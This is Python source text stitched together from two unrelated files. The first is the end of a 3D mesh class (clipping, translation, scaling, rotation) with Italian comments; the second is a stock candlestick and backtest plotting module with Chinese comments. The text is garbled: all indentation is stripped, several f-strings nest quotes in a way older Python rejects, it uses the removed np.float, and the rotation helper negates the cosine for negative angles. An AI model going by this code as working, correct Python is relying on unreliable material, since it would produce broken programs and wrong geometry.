raise NotImplementedError('This method must be implemented in the subclasses')
def as_triangles_flat(self):
raise NotImplementedError('This method must be implemented in the subclasses')
def as_edges_flat(self):
raise NotImplementedError('This method must be implemented in the subclasses')
def _as_threejs_colors(self):
raise NotImplementedError('This method must be implemented in the subclasses')
@property
def num_triangles(self):
raise NotImplementedError('This method must be implemented in the subclasses')
def boundary(self):
"""
Compute the boundary of the current mesh. It only returns the faces that are inside the clipping
"""
min_x = self.clipping.min_x
max_x = self.clipping.max_x
min_y = self.clipping.min_y
max_y = self.clipping.max_y
min_z = self.clipping.min_z
max_z = self.clipping.max_z
flip_x = self.clipping.flip.x
flip_y = self.clipping.flip.y
flip_z = self.clipping.flip.z
centroids = np.array(self.simplex_centroids)
x_range = np.logical_xor(flip_x,((centroids)[:,0] >= min_x) & (centroids[:,0] <= max_x))
y_range = np.logical_xor(flip_y,((centroids[:,1] >= min_y) & (centroids[:,1] <= max_y)))
z_range = np.logical_xor(flip_z,((centroids[:,2] >= min_z) & (centroids[:,2] <= max_z)))
clipping_range = x_range & y_range & z_range
return clipping_range
def add_vertex(self, x, y, z):
"""
Add a new vertex to the current mesh. It affects the mesh geometry.
Parameters:
x (float): The x coordinate of the new vertex
y (float): The y coordinate of the new vertex
z (float): The z coordinate of the new vertex
"""
self._dont_update = True
new_vertex = np.array([x,y,z], dtype=np.float)
new_vertex.shape = (1,3)
self.vertices = np.concatenate([self.vertices, new_vertex])
self._dont_update = False
self.update()
def add_vertices(self, new_vertices):
"""
Add a list of new vertices to the current mesh. It affects the mesh geometry.
Parameters:
new_vertices (Array (Nx3) type=float): List of vertices to add. Each vertex is in the form [float,float,float]
"""
self._dont_update = True
new_vertices = np.array(new_vertices)
self.vertices = np.concatenate([self.vertices, new_vertices])
self._dont_update = False
self.update()
'''
approccio iniziale
index = 0
for r in self.vertices[:]:
vertix = np.resize(r, (4, 1))
vertix[-1, :] = 1
aux = matrix @ vertix
self.vertices[index] = np.resize(aux, (1, 3))
index += 1
'''
def translation (self, t):
self._dont_update = True
matrix = np.identity(4)
t = np.resize(t, (1, 4))
t[:, -1] = 1
matrix[:, -1] = t
#crea un array colonna con il vettore vertices e nell'ultima colonna un vettore di soli 1
a = np.hstack((self.vertices, np.ones((self.vertices.shape[0], 1))))#(nx3)->(nx4)
#moltiplica l'array appena creato con la matrice di trasformazione trasposta (per non trasporre tutte le righe di vertices)
self.vertices = a.dot(matrix.T)[:,:-1]
self._dont_update = False
self.update()
def scaleT (self, t):
self._dont_update = True
t = np.append(t, 1)
matrix = np.diag(t)
#crea un array colonna con il vettore vertices e nell'ultima colonna un vettore di soli 1
a = np.hstack((self.vertices, np.ones((self.vertices.shape[0], 1))))#(nx3)->(nx4)
#moltiplica l'array appena creato con la matrice di trasformazione trasposta (per non trasporre tutte le righe di vertices)
self.vertices = a.dot(matrix.T)[:,:-1]
self._dont_update = False
self.update()
def matrixRotation(self, alpha, c):
sin = np.sin(np.radians(alpha))
if alpha > 0:
cos = np.cos(np.radians(alpha))
else:
cos = -np.cos(np.radians(np.abs(alpha)))
if type(c) is str or type(c) is int:
if c == 'x' or c == 0:
matrix = np.identity(4)
matrix[1:3, 1:3] = [[cos, -sin], [sin, cos]]
elif c =='y' or c == 1:
matrix = np.identity(4)
matrix[:3, :3] = [[cos, 0, sin], [0, 1, 0], [-sin, 0, cos]]
elif c == 'z' or c == 2:
matrix = np.identity(4)
matrix[:2, :2] = [[cos, -sin], [sin, cos]]
else:
raise Exception('Not a valid axis')
return matrix
else:
raise Exception('Not a str')
def rotation(self, angle, axis):
matrix = self.matrixRotation(angle, axis)
#crea un array colonna con il vettore vertices e nell'ultima colonna un vettore di soli 1
a = np.hstack((self.vertices, np.ones((self.vertices.shape[0], 1))))#(nx3)->(nx4)
#moltiplica l'array appena creato con la matrice di trasformazione trasposta (per non trasporre tutte le righe di vertices)
self.vertices = a.dot(matrix.T)[:,:-1]
self._dont_update = False
self.update()
@property
def vtx2vtx(self):
return self.__vtx2vtx
@property
def vtx2face(self):
return self.__vtx2face
@property
def bbox(self):
return self.__bounding_box
@property
def num_vertices(self):
return self.vertices.shape[0]
@property
def center(self):
x1, x2 = self.__bounding_box[0][0], self.__bounding_box[1][0]
y1, y2 = self.__bounding_box[0][1], self.__bounding_box[1][1]
z1, z2 = self.__bounding_box[0][2], self.__bounding_box[1][2]
return np.array([(x1+x2)/2, (y1+y2)/2, (z1+z2)/2])
@property
def scale(self):
return np.linalg.norm(self.__bounding_box[0]-self.__bounding_box[1])
def __update_bounding_box(self):
min_x_coord = self.vertices[:,0].min()
max_x_coord = self.vertices[:,0].max()
min_y_coord = self.vertices[:,1].min()
max_y_coord = self.vertices[:,1].max()
min_z_coord = self.vertices[:,2].min()
max_z_coord = self.vertices[:,2].max()
self.__bounding_box = np.array([[min_x_coord, min_y_coord, min_z_coord],
[max_x_coord, max_y_coord, max_z_coord]])
def __repr__(self):
return f"Mesh of {self.num_faces} polygons."
|
# coding=utf-8
# -*- coding: utf-8 -*-
# visual.py
# =====================================4
# This file contains components for the qt
# to establish visual outputs of price data
# loop result and strategy optimization
# results as well
# ======================================
import mplfinance as mpf
from mplfinance.original_flavor import candlestick2_ohlc
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
import matplotlib.ticker as mtick
from matplotlib.ticker import StrMethodFormatter
import pandas as pd
import numpy as np
from .history import get_history_panel
from .tsfuncs import stock_basic, fund_basic, future_basic, index_basic
from .utilfuncs import time_str_format, list_to_str_format
from .tafuncs import macd, dema, rsi, bbands, ma
from pandas.plotting import register_matplotlib_converters
register_matplotlib_converters()
ValidAddPlots = ['macd',
'dma',
'trix']
title_font = {'fontname': 'pingfang HK',
'size': '16',
'color': 'black',
'weight': 'bold',
'va': 'bottom',
'ha': 'center'}
large_red_font = {'fontname': 'Arial',
'size': '24',
'color': 'red',
'weight': 'bold',
'va': 'bottom'}
large_green_font = {'fontname': 'Arial',
'size': '24',
'color': 'green',
'weight': 'bold',
'va': 'bottom'}
small_red_font = {'fontname': 'Arial',
'size': '12',
'color': 'red',
'weight': 'bold',
'va': 'bottom'}
small_green_font = {'fontname': 'Arial',
'size': '12',
'color': 'green',
'weight': 'bold',
'va': 'bottom'}
normal_label_font = {'fontname': 'pingfang HK',
'size': '12',
'color': 'black',
'weight': 'normal',
'va': 'bottom',
'ha': 'right'}
normal_font = {'fontname': 'Arial',
'size': '12',
'color': 'black',
'weight': 'normal',
'va': 'bottom',
'ha': 'left'}
# 动态交互式蜡烛图类
class InterCandle:
def __init__(self, data, stock_name, style, idx_start=0, idx_range=100):
self.pressed = False
self.xpress = None
# 初始化交互式K线图对象，历史数据作为唯一的参数用于初始化对象
self.data = data
self.style = style
self.stock_name = stock_name
# 设置初始化的K线图显示区间起点为0，即显示第0到第99个交易日的数据（前100个数据）
self.idx_start = idx_start
self.idx_range = idx_range
# 设置ax1图表中显示的均线类型
self.avg_type = 'ma'
self.indicator = 'macd'
self.cur_xlim = None
# 初始化figure对象，在figure上建立三个Axes对象并分别设置好它们的位置和基本属性
self.fig = mpf.figure(style=style, figsize=(12, 8), facecolor=(0.82, 0.83, 0.85))
fig = self.fig
self.ax1 = fig.add_axes([0.08, 0.25, 0.88, 0.60])
self.ax1.set_xbound(0, 100)
# self.ax1.set_xticklabels(data.index)
self.ax2 = fig.add_axes([0.08, 0.15, 0.88, 0.10], sharex=self.ax1)
self.ax2.set_ylabel('volume')
self.ax3 = fig.add_axes([0.08, 0.05, 0.88, 0.10], sharex=self.ax1)
self.ax3.set_ylabel('macd')
# 初始化figure对象，在figure上预先放置文本并设置格式，文本内容根据需要显示的数据实时更新
self.t1 = fig.text(0.50, 0.94, f'{self.stock_name}', **title_font)
self.t2 = fig.text(0.12, 0.90, '开/收: ', **normal_label_font)
self.t3 = fig.text(0.14, 0.89, f'', **large_red_font)
self.t4 = fig.text(0.14, 0.86, f'', **small_red_font)
self.t5 = fig.text(0.22, 0.86, f'', **small_red_font)
self.t6 = fig.text(0.12, 0.86, f'', **normal_label_font)
self.t7 = fig.text(0.40, 0.90, '高: ', **normal_label_font)
self.t8 = fig.text(0.40, 0.90, f'', **small_red_font)
self.t9 = fig.text(0.40, 0.86, '低: ', **normal_label_font)
self.t10 = fig.text(0.40, 0.86, f'', **small_green_font)
self.t11 = fig.text(0.55, 0.90, '量(万手): ', **normal_label_font)
self.t12 = fig.text(0.55, 0.90, f'', **normal_font)
self.t13 = fig.text(0.55, 0.86, '额(亿元): ', **normal_label_font)
self.t14 = fig.text(0.55, 0.86, f'', **normal_font)
self.t15 = fig.text(0.70, 0.90, '涨停: ', **normal_label_font)
self.t16 = fig.text(0.70, 0.90, f'', **small_red_font)
self.t17 = fig.text(0.70, 0.86, '跌停: ', **normal_label_font)
self.t18 = fig.text(0.70, 0.86, f'', **small_green_font)
self.t19 = fig.text(0.85, 0.90, '均价: ', **normal_label_font)
self.t20 = fig.text(0.85, 0.90, f'', **normal_font)
self.t21 = fig.text(0.85, 0.86, '昨收: ', **normal_label_font)
self.t22 = fig.text(0.85, 0.86, f'', **normal_font)
plot_data = self.data
data_len = len(plot_data)
# 绘制图表:
# 绘制K线图
self.lines, self.polys = candlestick2_ohlc(self.ax1,
plot_data.open,
plot_data.high,
plot_data.low,
plot_data.close, width=0.6, colorup='r', colordown='g')
# 区分红色和绿色K线，分别绘制红色和绿色的交易量柱子
volume_up = np.where(plot_data.open > plot_data.close, plot_data.volume, 0)
volume_down = np.where(plot_data.open <= plot_data.close, plot_data.volume, 0)
self.vup = self.ax2.bar(np.arange(data_len),
volume_up, width=0.8, color='r')
self.vdn = self.ax2.bar(np.arange(data_len),
volume_down, width=0.8, color='g')
# 生成移动均线，并绘制四条移动均线
self.ma1, self.ma2, self.ma3, self.ma4 = self.ax1.plot(np.arange(data_len),
plot_data[['MA5', 'MA10', 'MA20', 'MA60']])
# 生成布林带线，并绘制三条布林带线，初始状态下，设置布林带线不可见
self.bbu, self.bbm, self.bbl = self.ax1.plot(np.arange(data_len),
plot_data[['bb-u', 'bb-m', 'bb-l']])
self.bbu.set_visible(False)
self.bbm.set_visible(False)
self.bbl.set_visible(False)
# 生成macd线和柱，初始状态下，MACD线可见
self.macd_m, self.macd_s = self.ax3.plot(np.arange(data_len), plot_data[['macd-m', 'macd-s']])
# MACD线的红绿两色柱子需要分别生成并绘制
macd_bar_r = np.where(plot_data['macd-h'] > 0, plot_data['macd-h'], 0)
macd_bar_g = np.where(plot_data['macd-h'] <= 0, plot_data['macd-h'], 0)
self.macd_rbars = self.ax3.bar(np.arange(data_len), macd_bar_r, color='r')
self.macd_gbars = self.ax3.bar(np.arange(data_len), macd_bar_g, color='g')
# 生成rsi线和上下界，并设置RSI线不可见
self.rsi_up, = self.ax3.plot(np.arange(data_len), [75] * len(plot_data), color=(0.75, 0.5, 0.5))
self.rsi_dn, = self.ax3.plot(np.arange(data_len), [30] * len(plot_data), color=(0.5, 0.75, 0.5))
self.rsi, = self.ax3.plot(np.arange(data_len), plot_data['rsi'])
self.rsi_up.set_visible(False)
self.rsi_dn.set_visible(False)
self.rsi.set_visible(False)
# 生成dema线，并设置DEMA线不可见
self.dema, = self.ax3.plot(np.arange(data_len), plot_data['dema'])
self.dema.set_visible(False)
# 设置三张图表的显示界限
fig.canvas.mpl_connect('button_press_event', self.on_press)
fig.canvas.mpl_connect('button_release_event', self.on_release)
fig.canvas.mpl_connect('motion_notify_event', self.on_motion)
fig.canvas.mpl_connect('scroll_event', self.on_scroll)
def refresh_plot(self, idx_start, idx_range):
""" 根据最新的参数，重新绘制整个图表
"""
ap = []
# 添加K线图重叠均线，根据均线类型添加移动均线或布林带线
plot_data = self.data.iloc[idx_start:idx_start + idx_range - 1]
if self.avg_type == 'ma':
ap.append(mpf.make_addplot(plot_data[['MA5', 'MA10', 'MA20', 'MA60']], ax=self.ax1))
elif self.avg_type == 'bb':
ap.append(mpf.make_addplot(plot_data[['bb-u', 'bb-m', 'bb-l']], ax=self.ax1))
else:
pass # 不添加任何均线
# 添加指标，根据指标类型添加MACD或RSI或DEMA
if self.indicator == 'macd':
ap.append(mpf.make_addplot(plot_data[['macd-m', 'macd-s']], ylabel='macd', ax=self.ax3))
bar_r = np.where(plot_data['macd-h'] > 0, plot_data['macd-h'], 0)
bar_g = np.where(plot_data['macd-h'] <= 0, plot_data['macd-h'], 0)
ap.append(mpf.make_addplot(bar_r, type='bar', color='red', ax=self.ax3))
ap.append(mpf.make_addplot(bar_g, type='bar', color='green', ax=self.ax3))
self.ax3.set_ylabel('macd')
elif self.indicator == 'rsi':
ap.append(mpf.make_addplot([75] * len(plot_data), color=(0.75, 0.6, 0.6), ax=self.ax3))
ap.append(mpf.make_addplot([30] * len(plot_data), color=(0.6, 0.75, 0.6), ax=self.ax3))
ap.append(mpf.make_addplot(plot_data['rsi'], ylabel='rsi', ax=self.ax3))
self.ax3.set_ylabel('rsi')
else: # indicator == 'dema'
ap.append(mpf.make_addplot(plot_data['dema'], ylabel='dema', ax=self.ax3))
self.ax3.set_ylabel('dema')
# 绘制图表
mpf.plot(plot_data,
ax=self.ax1,
volume=self.ax2,
addplot=ap,
type='candle',
style=self.style,
datetime_format='%Y-%m',
xrotation=0)
plt.show()
def refresh_texts(self, display_data):
""" 更新K线图上的价格文本
"""
# display_data是一个交易日内的所有数据，将这些数据分别填入figure对象上的文本中
self.t3.set_text(f'{display_data['open']:.3f} / {display_data['close']:.3f}')
self.t4.set_text(f'{display_data['change']:.3f}')
self.t5.set_text(f'[{display_data['pct_change']:.3f}%]')
self.t6.set_text(f'{display_data.name.date()}')
self.t8.set_text(f'{display_data['high']:.3f}')
self.t10.set_text(f'{display_data['low']:.3f}')
self.t12.set_text(f'{display_data['volume'] / 10000:.3f}')
self.t14.set_text(f'{display_data['value']:.3f}')
self.t16.set_text(f'{display_data['upper_lim']:.3f}')
self.t18.set_text(f'{display_data['lower_lim']:.3f}')
self.t20.set_text(f'{display_data['average']:.3f}')
self.t22.set_text(f'{display_data['last_close']:.3f}')
# 根据本交易日的价格变动值确定开盘价、收盘价的显示颜色
if display_data['change'] > 0: # 如果今日变动额大于0，即今天价格高于昨天，今天价格显示为红色
close_number_color = 'red'
elif display_data['change'] < 0: # 如果今日变动额小于0，即今天价格低于昨天，今天价格显示为绿色
close_number_color = 'green'
else:
close_number_color = 'black'
self.t3.set_color(close_number_color)
self.t4.set_color(close_number_color)
self.t5.set_color(close_number_color)
plt.show()
def on_press(self, event):
# 如果点击范围不在ax1或ax3范围内则退出
if not (event.inaxes == self.ax1 or event.inaxes == self.ax3):
return
if event.button != 1:
return
self.pressed = True
self.xpress = event.xdata
self.cur_xlim = self.ax1.get_xlim()
print(f'cur_xlim is {self.cur_xlim}')
# 当当前鼠标点击模式为双击时，继续检查更新K线图
if event.dblclick == 1:
# 当点击位置在ax1中时，切换当前ma类型, 在ma、bb、none之间循环
if event.inaxes == self.ax1:
if self.avg_type == 'ma':
self.avg_type = 'bb'
elif self.avg_type == 'bb':
self.avg_type = 'none'
else:
self.avg_type = 'ma'
# 更新K线图
# 当点击位置在ax3范围内时，切换当前indicator类型，在macd/dma/rsi/kdj之间循环
else: # event.inaxes == self.ax3
if self.indicator == 'macd':
self.indicator = 'dma'
elif self.indicator == 'dma':
self.indicator = 'rsi'
else:
self.indicator = 'macd'
# 更新K线图
self.ax1.clear()
self.ax2.clear()
self.ax3.clear()
self.refresh_plot(self.idx_start, self.idx_range)
def on_release(self, event):
"""当释放鼠标按键时，更新新的K线起点"""
self.pressed = False
if self.xpress is None:
return
dx = int(event.xdata - self.xpress)
self.idx_start -= dx
if self.idx_start <= 0:
self.idx_start = 0
if self.idx_start >= len(self.data) - 100:
self.idx_start = len(self.data) - 100
def on_motion(self, event):
"""当鼠标移动时，如果鼠标已经按下，计算鼠标水平移动距离，并根据水平距离计算K线平移距离"""
if not self.pressed:
return
if not event.inaxes == self.ax1:
return
# 计算鼠标的水平移动距离
dx = int(event.xdata - self.xpress)
new_start = self.idx_start - dx
# 设定平移的左右界限，如果平移后超出界限，则不再平移
if new_start <= 0:
new_start = 0
if new_start >= len(self.data) - 100:
new_start = len(self.data) - 100
# 根据水平距离重新绘制K线图
self.ax1.clear()
self.ax2.clear()
self.ax3.clear()
self.refresh_texts(self.data.iloc[new_start])
self.refresh_plot(new_start, self.idx_range)
def on_scroll(self, event):
"""当鼠标滚轮滚动时，更新K线图的显示范围"""
if event.inaxes != self.ax1:
return
# 确认是否是正确的滚轮滚动
if event.button == 'down':
# 缩小20%显示范围
scale_factor = 0.8
elif event.button == 'up':
# 放大20%显示范围
scale_factor = 1.2
else:
# 特殊情况处理
scale_factor = 1
print(event.button)
# 更新K线图显示范围
self.idx_range = int(self.idx_range * scale_factor)
# 确认显示范围是否超出允许范围：最小30、最大不超过当前起点到终点的距离
data_length = len(self.data)
if self.idx_range >= data_length - self.idx_start:
self.idx_range = data_length - self.idx_start
if self.idx_range <= 30:
self.idx_range = 30
# 更新K线图
self.ax1.clear()
self.ax2.clear()
self.ax3.clear()
self.refresh_texts(self.data.iloc[self.idx_start])
self.refresh_plot(self.idx_start, self.idx_range)
# TODO: simplify and merge these three functions
def candle(stock=None, start=None, end=None, stock_data=None, share_name=None, asset_type='E',
no_visual=False, **kwargs):
"""plot stock data or extracted data in candle form"""
return _mpf_plot(stock_data=stock_data, share_name=share_name, stock=stock, start=start,
end=end, asset_type=asset_type, plot_type='candle', no_visual=no_visual,
**kwargs)
def ohlc(stock=None, start=None, end=None, stock_data=None, share_name=None, asset_type='E',
no_visual=False, **kwargs):
"""plot stock data or extracted data in ohlc form"""
return _mpf_plot(stock_data=stock_data, share_name=share_name, stock=stock, start=start,
end=end, asset_type=asset_type, plot_type='ohlc', no_visual=no_visual,
**kwargs)
def renko(stock=None, start=None, end=None, stock_data=None, share_name=None, asset_type='E',
no_visual=False, **kwargs):
"""plot stock data or extracted data in renko form"""
return _mpf_plot(stock_data=stock_data, share_name=share_name, stock=stock, start=start,
end=end, asset_type=asset_type, plot_type='renko', no_visual=no_visual,
**kwargs)
def _mpf_plot(stock_data=None, share_name=None, stock=None, start=None, end=None,
asset_type='E', plot_type=None, no_visual=False, mav=None, indicator=None,
indicator_par=None, **kwargs):
"""plot stock data or extracted data in renko form
"""
assert plot_type is not None
if end is None:
now = pd.to_datetime('now') + pd.Timedelta(8, 'h')
if now.hour >= 23:
end = pd.to_datetime('today')
else:
end = pd.to_datetime('today') - pd.Timedelta(1, 'd')
if start is None:
start = end - pd.Timedelta(60, 'd')
if mav is None:
mav = [5, 10, 20, 60]
end = pd.to_datetime(end)
start = pd.to_datetime(start)
# 当stock_data没有给出时，则从网上或本地获取股票数据
if stock_data is None:
assert stock is not None
if 'adj' in kwargs:
adj = kwargs['adj']
else:
adj = 'none'
# 准备股票数据，为了实现动态图表，应该获取一只股票在全历史周期内的所有价格数据，并且在全周期上计算
# 所需的均线以及指标数据，显示的时候只显示其中一部分即可，并且可以使用鼠标缩放平移
# 因此_prepare_mpf_data()函数应该返回一个包含所有历史价格以及相关指标的DataFrame
daily, share_name = _get_mpf_data(stock=stock,
asset_type=asset_type,
adj=adj,
mav=mav,
indicator=indicator,
indicator_par=indicator_par)
has_volume = True
else:
assert isinstance(stock_data, pd.DataFrame)
assert all(col in stock_data.columns for col in ['open', 'high', 'low', 'close'])
daily = stock_data
has_volume = 'volume' in stock_data.columns
if share_name is None:
share_name = 'stock'
# 如果给出或获取的数据没有volume列，则生成空数据列
if 'volume' not in daily.columns:
daily['volume'] = np.nan
daily = _add_indicators(daily, mav=mav)
my_color = mpf.make_marketcolors(up='r',
down='g',
edge='inherit',
wick='inherit',
volume='inherit')
my_style = mpf.make_mpf_style(marketcolors=my_color,
figcolor='(0.82, 0.83, 0.85)',
gridcolor='(0.82, 0.83, 0.85)')
if not no_visual:
idx_start = np.searchsorted(daily.index, start)
idx_range = np.searchsorted(daily.index, end) - idx_start
my_candle = InterCandle(data=daily, stock_name=share_name, style=my_style,
idx_start=idx_start, idx_range=idx_range)
my_candle.refresh_texts(daily.iloc[idx_start + idx_range - 1])
my_candle.refresh_plot(idx_start, idx_range)
return daily
def _get_mpf_data(stock, asset_type='E', adj='none', freq='d', mav=None, indicator=None, indicator_par=None):
""" 返回一只股票在全部历史区间上的价格数据，生成一个pd.DataFrame. 包含open, high, low, close, volume 五组数据
并返回股票的名称。
:param stock: 股票代码
:param asset_type: 资产类型，E——股票，F——期货，FD——基金，I——指数
:param adj: 是否复权，none——不复权，hfq——后复权，qfq——前复权
:param freq: 价格周期，d——日K线，5min——五分钟k线
:param mav: 移动平均线，一个tuple，包含数个integer，代表均线周期
:param indicator: str，指标，如MACD等
:param indicator_par:
:return:
tuple：(pd.DataFrame, share_name)
"""
# 首先获取股票的上市日期，并获取从上市日期开始到现在的所有历史数据
name_of = {'E': 'Stock 股票',
'I': 'Index 指数',
'F': 'Futures 期货',
'FD': 'Fund 基金'}
if asset_type == 'E':
basic_info = stock_basic(fields='ts_code,symbol,name,fullname,area,industry,list_date')
elif asset_type == 'I':
# 获取指数的基本信息
basic_info = index_basic()
elif asset_type == 'F':
# 获取期货的基本信息
basic_info = future_basic()
elif asset_type == 'FD':
# 获取基金的基本信息
basic_info = fund_basic()
else:
raise KeyError(f'Wrong asset type: [{asset_type}]')
this_stock = basic_info.loc[basic_info.ts_code == stock]
if this_stock.empty:
raise KeyError(f'Can not find historical data for asset {stock} of type {asset_type}!')
# 设置历史数据获取区间的开始日期为股票上市第一天
start_date = pd.to_datetime(this_stock.list_date.values[0]).strftime('%Y-%m-%d')
# 设置历史数据获取最后一天，只有现在的时间在23:00以后时才设置为今天，否则就设置为昨天
# now获取的日期时间是格林尼治标准时间，计算中国的时间需要加8小时（中国在东八区）
now = pd.to_datetime('now') + pd.Timedelta(8, 'h')
if now.hour >= 23 and now.weekday() < 5:
end = pd.to_datetime('today')
else:
end = pd.to_datetime('today') - pd.Timedelta(now.weekday() - 4, 'd')
end_date = end.strftime('%Y-%m-%d')
name = this_stock.name.values[0]
# fullname = this_stock.fullname.values[0]
# 读取该股票从上市第一天到今天的全部历史数据，包括ohlc和volume数据
data = get_history_panel(start=start_date, end=end_date, freq=freq, shares=stock,
htypes='close,high,low,open,vol', asset_type=asset_type,
adj=adj, chanel='local', parallel=10).to_dataframe(share=stock)
# 返回股票的名称和全称
share_name = stock + ' - ' + name + ' [' + name_of[asset_type] + '] '
data.rename({'vol': 'volume'}, axis='columns', inplace=True)
return data, share_name
def _add_indicators(data, mav=None, bb_par=None, macd_par=None, rsi_par=None, dema_par=None):
""" data是一只股票的历史K线数据，包括O/H/L/C/V五组数据或者O/H/L/C四组数据
并根据这些数据生成以下数据，加入到data中：
- Moving Average
- change and percent change
- average
- last close
- Bband
- macd
- kdj
- dma
- rsi
:param data:
:return: pd.DataFrame
"""
if mav is None:
mav = (5, 10, 20)
# 其他indicator的parameter使用默认值
if dema_par is None:
dema_par = (30,)
if macd_par is None:
macd_par = (9, 12, 26)
if rsi_par is None:
rsi_par = (14,)
if bb_par is None:
bb_par = (20, 2, 2, 0)
# 在DataFrame中增加均线信息：
assert isinstance(mav, (list, tuple))
assert all(isinstance(item, int) for item in mav)
for value in mav:
data['MA' + str(value)] = ma(data.close, timeperiod=value) # 以后还可以加上不同的ma_type
data['change'] = np.round(data['close'] - data['close'].shift(1), 3)
data['pct_change'] = np.round(data['change'] / data['close'] * 100, 2)
data['value'] = np.round(data['close'] * data['volume'] / 1000000, 2)
data['upper_lim'] = np.round(data['close'] * 1.1, 3)
data['lower_lim'] = np.round(data['close'] * 0.9, 3)
data['last_close'] = data['close'].shift(1)
data['average'] = data[['open', 'close', 'high', 'low']].mean(axis=1)
data['volrate'] = data['volume']
# 添加不同的indicator
data['dema'] = dema(data.close, *dema_par)
data['macd-m'], data['macd-s'], data['macd-h'] = macd(data.close, *macd_par)
data['rsi'] = rsi(data.close, *rsi_par)
data['bb-u'], data['bb-m'], data['bb-l'] = bbands(data.close, *bb_par)
return data
def _plot_loop_result(loop_results: dict, config):
"""plot the loop results in a fancy way that displays all information more clearly"""
# prepare looped_values dataframe
if not isinstance(loop_results, dict):
raise TypeError('')
looped_values = loop_results['complete_values']
if looped_values.empty:
raise ValueError(f'No meaningful operation list is created in current period thus back looping is skipped!')
# register matplotlib converters is requested in future matplotlib versions
register_matplotlib_converters()
# 计算在整个投资回测区间内每天的持股数量，通过持股数量的变化来推出买卖点
result_columns = looped_values.columns
fixed_column_items = ['fee', 'cash', 'value', 'reference', 'ref', 'ret',
'invest', 'underwater', 'volatility', 'pct_change',
'beta', 'sharp', 'alpha']
stock_holdings = [item for
item in
result_columns if
item not in fixed_column_items and
item[-2:] != '_p']
# 为了确保回测结果和参考价格在同一个水平线上比较，需要将他们的起点"重合"在一起，否则
# 就会出现两者无法比较的情况。
# 例如，当参考价格为HS300指数，而回测时的初始资金额为100000时，回测结果的金额通常在
# 100000以上，而HS300指数的价格仅仅在2000～5000之间波动，这就导致在同一个图表上
# plot两个指标时，只能看到回测结果，而HS300指数则被压缩成了一条直线，无法对比
# 解决办法时同时显示两者的相对收益率，两条线的起点都是0，就能很好地解决上述问题。
# 持股数量变动量，当持股数量发生变动时，判断产生买卖行为
change = (looped_values[stock_holdings] - looped_values[stock_holdings].shift(1)).sum(1)
# 计算回测记录第一天的回测结果和参考指数价格，以此计算后续的收益率曲线
start_point = looped_values['value'].iloc[0]
ref_start = looped_values['reference'].iloc[0]
# 计算回测结果的每日回报率
ret = looped_values['value'] - looped_values['value'].shift(1)
position = 1 - (looped_values['cash'] / looped_values['value'])
beta = looped_values['beta']
alpha = looped_values['alpha']
volatility = looped_values['volatility']
sharp = looped_values['sharp']
underwater = looped_values['underwater']
drawdowns = loop_results['worst_drawdowns']
# 回测结果和参考指数的总体回报率曲线
return_rate = (looped_values.value - start_point) / start_point * 100
ref_rate = (looped_values.reference - ref_start) / ref_start * 100
# 将benchmark的起始资产总额调整到与回测资金初始值一致，一遍生成可以比较的benchmark资金曲线
# 这个资金曲线用于显示"以对数比例显示的资金变化曲线"图
adjusted_bench_start = looped_values.reference / ref_start * start_point
# process plot figure and axes formatting
years = mdates.YearLocator() # every year
months = mdates.MonthLocator() # every month
weekdays = mdates.WeekdayLocator() # every weekday
years_fmt = mdates.DateFormatter('%Y')
month_fmt_none = mdates.DateFormatter('')
month_fmt_l = mdates.DateFormatter('%y/%m')
month_fmt_s = mdates.DateFormatter('%m')
chart_width = 0.88
# 显示投资回报评价信息
fig = plt.figure(figsize=(12, 15), facecolor=(0.82, 0.83, 0.85))
ax1 = fig.add_axes([0.05, 0.67, chart_width, 0.20])
ax2 = fig.add_axes([0.05, 0.57, chart_width, 0.08], sharex=ax1)
ax3 = fig.add_axes([0.05, 0.49, chart_width, 0.06], sharex=ax1)
ax4 = fig.add_axes([0.05, 0.41, chart_width, 0.06], sharex=ax1)
ax5 = fig.add_axes([0.05, 0.33, chart_width, 0.06], sharex=ax1)
ax6 = fig.add_axes([0.05, 0.25, chart_width, 0.06], sharex=ax1)
ax7 = fig.add_axes([0.02, 0.04, 0.38, 0.16])
ax8 = fig.add_axes([0.43, 0.04, 0.15, 0.16])
ax9 = fig.add_axes([0.64, 0.04, 0.29, 0.16])
if isinstance(config.asset_pool, str):
title_asset_pool = config.asset_pool
else:
if len(config.asset_pool) > 3:
title_asset_pool = list_to_str_format(config.asset_pool[:3]) + '...'
else:
title_asset_pool = list_to_str_format(config.asset_pool)
fig.suptitle(f'Back Testing Result {title_asset_pool} - benchmark: {config.reference_asset}',
fontsize=14,
fontweight=10)
# 投资回测结果的评价指标全部被打印在图表上，所有的指标按照表格形式打印
# 为了实现表格效果，指标的标签和值分成两列打印，每一列的打印位置相同
fig.text(0.07, 0.955, f'periods: {loop_results['years']:3.1f} years, '
f'from: {loop_results['loop_start'].date()} to {loop_results['loop_end'].date()}'
f'time consumed: signal creation: {time_str_format(loop_results['op_run_time'])};'
f' back test:{time_str_format(loop_results['loop_run_time'])}')
fig.text(0.21, 0.90, f'Operation summary:\n\n'
f'Total op fee:\n'
f'total investment:\n'
f'final value:', ha='right')
fig.text(0.23, 0.90, f'{loop_results['oper_count'].buy.sum()} buys \n'
f'{loop_results['oper_count'].sell.sum()} sells\n'
f'¥{loop_results['total_fee']:13,.2f}\n'
f'¥{loop_results['total_invest']:13,.2f}\n'
f'¥{loop_results['final_value']:13,.2f}')
fig.text(0.50, 0.90, f'Cumulative return:\n'
f'Avg annual return:\n'
f'Benchmark return:\n'
f'Avg annual ref return:\n'
f'Max drawdown:', ha='right')
fig.text(0.52, 0.90, f'{loop_results['rtn']:.2%} \n'
f'{loop_results['annual_rtn']: .2%} \n'
f'{loop_results['ref_rtn']:.2%} \n'
f'{loop_results['ref_annual_rtn']:.2%}\n'
f'{loop_results['mdd']:.1%}'
f' on {loop_results['valley_date'].date()}')
fig.text(0.82, 0.90, f'alpha:\n'
f'Beta:\n'
f'Sharp ratio:\n'
f'Info ratio:\n'
f'250-day volatility:', ha='right')
fig.text(0.84, 0.90, f'{loop_results['alpha']:.3f} \n'
f'{loop_results['beta']:.3f} \n'
f'{loop_results['sharp']:.3f} \n'
f'{loop_results['info']:.3f} \n'
f'{loop_results['volatility']:.3f}')
# 绘制参考数据的收益率曲线图
ax1.set_title('cum-return, benchmark and history operations')
ax1.plot(looped_values.index, ref_rate, linestyle='-',
color=(0.4, 0.6, 0.8), alpha=0.85, label='Benchmark')
# 绘制回测结果的收益率曲线图
ax1.plot(looped_values.index, return_rate, linestyle='-',
color=(0.8, 0.2, 0.0), alpha=0.85, label='Return')
ax1.set_ylabel('Cumulative Return')
ax1.yaxis.set_major_formatter(mtick.PercentFormatter())
